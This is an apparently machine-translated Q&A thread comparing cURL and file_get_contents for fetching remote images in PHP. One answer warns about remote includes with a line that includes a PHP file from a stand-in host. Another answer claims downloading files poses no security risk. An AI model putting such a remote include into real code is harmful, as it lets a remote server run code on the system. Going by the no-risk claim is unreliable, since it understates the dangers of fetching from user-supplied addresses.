CURL vs allow_url_fopen获取图像更安全哪个?

时间:2011-07-05 19:04:18

标签: php security curl

我有一个脚本,用户可以输入图像URL(来自其他网站),然后使用JS裁剪它并将其保存在我的服务器上。

我的问题是......从其他服务器获取图像时使用CURL或allow_url_fopen(通过file_get_contents())更安全吗?或者是否有更好/更安全的方法?

安全性对我来说是一个大问题,因为我知道这是一个非常危险的程序 - 如果图像文件有所不同,脚本只需要工作。

谢谢

5 个答案:

答案 0 :(得分:4)

curl的错误处理比file_get_contents()好得多。如果你关心这一点,卷曲可能就是你要走的路。但是,如果一个简单的“oops,那不起作用”对你来说已经足够了,file_get_contents()是一个完全可以接受的捷径。

答案 1 :(得分:2)

首先,如果您想进行深入的安全讨论。如果您不知道自己在做什么,下载文件实际上是一个安全问题。

在某些情况下,您可以覆盖重要文件甚至覆盖系统文件。在服务器上上载脚本等意图通过Web服务器执行它们也是一个问题。

所以不像人们指出的那样阳光和彩虹。

回到你的问题,allow_url_fopen是一个配置指令。我猜你的意思是file_get_contents()。要么会好的。正如其他人所指出的那样,Curl更加冗长,而且速度也更快。

如果你最终使用file_get_contents(),请确保永远不要将未过滤的变量作为参数包含。

答案 2 :(得分:0)

下载文件根本不是安全问题,无论是您的服务器还是您自己的计算机,或者您用来下载它的应用程序/代码:)无论您是否正在执行该文件:D

您所要做的就是确保您不会执行/包含文件中的任何内容。由于你只是要裁剪图像,我认为你很高兴:)

我建议cURL tho,allow_url_fopen可能会在代码中的其他地方引发安全问题。

答案 3 :(得分:0)

cURL有更多选择和可能性。

两者都同样安全(如果误用则不安全)。

使用cURL更明智,因为您将通过更强大的功能提升您的体验,这可能会在未来的项目中为您服务。

此外,如果这个项目以后需要新的功能,如果file_get_contents不够,你就不必用cURL重写所有内容。

这个帖子的答案显示了一个很好的cURL函数:Replace file_get_content() with cURL?

答案 4 :(得分:-2)

卷曲通常是一种更安全的方式。你需要一个明确的设计/编码决定,让curl的结果直接影响你的程序,而允许f *()函数中的url让

include('http://example.com/really_nasty_remote_takeover.php');

没有错误发生。